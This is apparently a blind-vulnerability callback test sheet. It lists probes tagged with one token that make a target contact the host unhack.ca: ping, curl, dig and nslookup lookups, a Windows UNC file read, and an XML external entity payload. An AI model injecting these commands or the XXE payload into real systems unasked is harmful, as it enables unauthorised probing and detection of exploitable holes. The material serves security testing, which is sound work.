$ ping -c1 -p 006f71f595b8671856cc3c104c5e5300 unhack.ca
 

$ curl http://unhack.ca/p/6f71f595b8671856cc3c104c5e53
 

$ dig 6f71f595b8671856cc3c104c5e53 @unhack.ca
 

$ dig 6f71f595b8671856cc3c104c5e53.ns.unhack.ca
 

C:\> nslookup 6f71f595b8671856cc3c104c5e53 unhack.ca
 

C:\> type \\unhack.ca\6f71f595b8671856cc3c104c5e53\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6f71f595b8671856cc3c104c5e53">]>
    <foo>&xxe;</foo>